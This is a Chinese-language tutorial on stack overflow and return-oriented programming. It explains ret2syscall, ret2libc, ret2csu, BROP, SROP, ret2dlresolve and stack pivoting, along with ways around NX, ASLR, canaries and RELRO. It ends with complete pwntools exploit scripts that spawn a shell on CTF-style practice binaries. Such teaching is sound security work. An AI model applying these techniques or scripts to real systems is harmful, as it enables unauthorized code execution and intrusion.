栈溢出与ROP攻击技术的进阶之路
字数 3117 2025-08-19 12:40:36
栈溢出与ROP攻击技术进阶指南
1. ROP技术基础
1.1 ROP概述
ROP(Return Oriented Programming)是一种高级的内存攻击技术,用于绕过现代操作系统的各种通用防御(如内存不可执行和代码签名等)。其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或变量的值,从而控制程序的执行流程。
1.2 ROP攻击条件
- 程序存在溢出漏洞,并且可以控制返回地址
- 可以找到满足条件的gadgets
- 如果gadgets每次的地址不固定,需要动态获取地址
2. 基础ROP技术
2.1 ret2syscall
2.1.1 原理
通过系统调用达到目的。在x86架构上,Linux系统调用通过int 80h实现,使用系统调用号来区分入口函数。
系统调用过程:
- 应用程序调用库函数(API)
- API将系统调用号存入EAX,通过中断调用进入内核态
- 内核中的中断处理函数根据系统调用号调用对应的内核函数
- 系统调用完成后将返回值存入EAX,返回到中断处理函数
- 中断处理函数返回到API中
- API将EAX返回给应用程序
2.1.2 利用步骤
- 检测程序保护机制
- 分析程序漏洞点
- 构造系统调用链(如execve("/bin/sh",NULL,NULL))
- 使用ROPgadget工具寻找所需gadgets
- 构造payload并执行
2.1.3 关键gadgets查找
# 查找pop eax; ret
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
# 查找pop ebx; ret
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
# 查找字符串"/bin/sh"
ROPgadget --binary ret2syscall --string '/bin/sh'
# 查找int 0x80
ROPgadget --binary ret2syscall --only 'int'
2.2 ret2libc
2.2.1 原理
动态链接情况下,程序链接时不会将库中所有函数都链接进来,只在执行时加载。ret2libc控制执行libc中的函数,通常是返回至某个函数的plt处或函数的具体位置(函数对应的got表项内容)。
2.2.2 三种情况
- 程序中能找到system函数和"/bin/sh"字符串
- 程序中只存在其中一个
- 两者都不存在(真正的ret2libc)
2.2.3 利用步骤
- 检测程序保护机制
- 分析程序漏洞点
- 泄露函数真实地址(如puts)
- 根据泄露地址确定libc版本
- 计算system和"/bin/sh"地址
- 构造payload执行system("/bin/sh")
2.2.4 关键技巧
- 使用LibcSearcher工具查找libc版本
- 通过got表泄露函数地址
- 注意栈平衡问题
3. 高级ROP技术
3.1 ret2csu
3.1.1 原理
在64位程序中,函数前6个参数通过寄存器传递(RDI, RSI, RDX, RCX, R8, R9)。ret2csu利用x64下__libc_csu_init中的gadgets来设置这些寄存器。
3.1.2 关键gadgets
00000000004007BA <__libc_csu_init+90>: pop rbx
00000000004007BB <__libc_csu_init+91>: pop rbp
00000000004007BC <__libc_csu_init+92>: pop r12
00000000004007BE <__libc_csu_init+94>: pop r13
00000000004007C0 <__libc_csu_init+96>: pop r14
00000000004007C2 <__libc_csu_init+98>: pop r15
00000000004007C4 <__libc_csu_init+100>: ret
3.1.3 利用步骤
- 利用栈溢出执行libc_csu_gadgets获取write函数地址
- 使程序重新执行main函数
- 根据libcsearcher获取对应libc版本及execve函数地址
- 再次利用栈溢出执行libc_csu_gadgets向bss段写入execve地址及"/bin/sh"
- 再次利用栈溢出执行libc_csu_gadgets执行execve("/bin/sh")
3.2 BROP(Blind ROP)
3.2.1 原理
在没有对应应用程序源代码或二进制文件的情况下,对程序进行攻击并劫持程序执行流。
3.2.2 攻击条件
- 程序存在栈溢出漏洞
- 服务器进程崩溃后会重启,且重启后的进程地址与先前相同
- 适用于nginx, MySQL, Apache, OpenSSH等服务器应用
3.2.3 利用步骤
- 判断栈溢出长度
- 寻找能返回到main函数的gadgets(stop_gadget)
- 寻找brop gadgets(如__libc_csu_init中的gadgets)
- 定位pop rdi; ret的地址
- 寻找puts或write函数的plt
- dump plt表,用于leak所需函数的got地址
- 通过leak到的got地址找到对应libc版本
- 通过libc执行系统命令获取shell
3.3 ret2dlresolve
3.3.1 原理
利用动态链接器解析符号的过程,伪造重定位表项,使程序解析并执行攻击者指定的函数。
3.3.2 关键数据结构
- .dynamic段:包含动态链接相关信息
- .dynstr段:存储符号名称字符串
- .dynsym段:符号表
- .rel.plt段:函数重定位表
3.3.3 利用步骤
- 控制程序执行流到_dl_runtime_resolve
- 伪造Elf32_Rel结构
- 伪造Elf32_Sym结构
- 伪造函数名称字符串
- 触发动态链接器解析过程
3.4 SROP(Sigreturn Oriented Programming)
3.4.1 原理
利用signal机制中内核保存和恢复进程上下文的特性,通过伪造Signal Frame来控制程序执行流。
3.4.2 关键点
- 32位sigreturn调用号为77,64位为15
- signal handler返回后,内核会执行sigreturn系统调用
- 通过控制rax寄存器值来触发sigreturn
3.4.3 利用步骤(以smallest为例)
- 泄露栈地址
- 使用SigreturnFrame构造read(0,stack_addr,0x400)
- 通过控制输入字符数调用sigreturn
- 使用SigreturnFrame构造execve("/bin/sh",0,0)
- 再次触发sigreturn执行shell
3.5 栈迁移(stack pivoting)
3.5.1 原理
劫持栈指针指向攻击者能控制的内存区域,然后在该位置进行ROP。
3.5.2 使用场景
- 可控栈溢出字节数较少
- 开启PIE保护,栈地址未知
- 其他漏洞难以利用,需要转换攻击面
3.5.3 使用要求
- 可以控制程序执行流
- 可以控制sp指针(通过pop rsp/esp或libc_csu_init中的gadgets)
- 存在可控制内容的内存(bss段或堆)
4. 工具与技巧
4.1 常用工具
- ROPgadget:查找二进制文件中的gadgets
- LibcSearcher:根据泄露地址查找libc版本
- pwntools:构造exp的强大Python库
- gdb-peda:增强的gdb调试环境
4.2 实用技巧
- 使用cyclic模式确定溢出偏移量
- 通过ELF解析获取函数plt和got地址
- 注意小端序存储对payload构造的影响
- 考虑栈平衡和内存对齐问题
- 利用pwntools的SigreturnFrame简化SROP利用
5. 防御与绕过
5.1 常见防御机制
- NX(DEP):数据执行保护
- ASLR:地址空间布局随机化
- Stack Canary:栈保护机制
- RELRO:重定位表保护
5.2 绕过方法
- 针对NX:使用ROP技术
- 针对ASLR:信息泄露或暴力破解
- 针对Stack Canary:泄露canary值或覆盖不检查canary的路径
- 针对RELRO:利用已有的plt/got表项
6. 实战案例
6.1 ret2syscall示例
from pwn import *
p = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh_addr = 0x080be408
int_0x80 = 0x08049421
payload = flat(['A'*112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh_addr, int_0x80])
p.sendline(payload)
p.interactive()
6.2 ret2libc示例
from pwn import *
from LibcSearcher import *
p = process('./ret2libc3')
e = ELF('./ret2libc3')
context.log_level = 'debug'
main_got_addr = e.got['__libc_start_main']
puts_plt_addr = e.plt['puts']
main = e.symbols['main']
payload = flat(['A'*112, puts_plt_addr, main, main_got_addr])
p.sendlineafter('Can you find it!?', payload)
main_rel_addr = u32(p.recv()[0:4])
print hex(main_rel_addr)
libc = LibcSearcher('__libc_start_main', main_rel_addr)
libcbase = main_rel_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat(['A'*104, system_addr, 0xdeadbeef, binsh_addr])
p.sendline(payload)
p.interactive()
6.3 SROP示例
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./smallest')
main_addr = 0x04000B0
syscall_addr = 0x04000BE
# 泄露栈地址
payload = p64(main_addr)*3
p.send(payload)
p.send('\xb3')
stack_addr = u64(p.recv()[8:16])
# 构造read(0,stack_addr,0x400)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
payload = p64(main_addr) + p64(0) + str(frame)
p.send(payload)
payload = p64(syscall_addr) + "\x00"*(15-8)
p.send(payload)
# 构造execve("/bin/sh",0,0)
frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr + 0x150
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_addr
frame_payload = p64(main_addr) + p64(0) + str(frame)
payload = frame_payload + (0x150-len(frame_payload))*"\x00" + "/bin/sh\x00"
p.send(payload)
payload = p64(syscall_addr) + "\x00"*(15-8)
p.send(payload)
p.interactive()
7. 总结
ROP技术是现代二进制漏洞利用的核心技术之一,通过组合程序本身的代码片段(gadgets)来绕过各种安全防护机制。从基础的ret2syscall、ret2libc,到高级的ret2csu、BROP、SROP等技术,攻击者可以在不同防护环境下实现代码执行。理解这些技术的原理和实现方式,不仅有助于漏洞利用,也能更好地设计防护措施。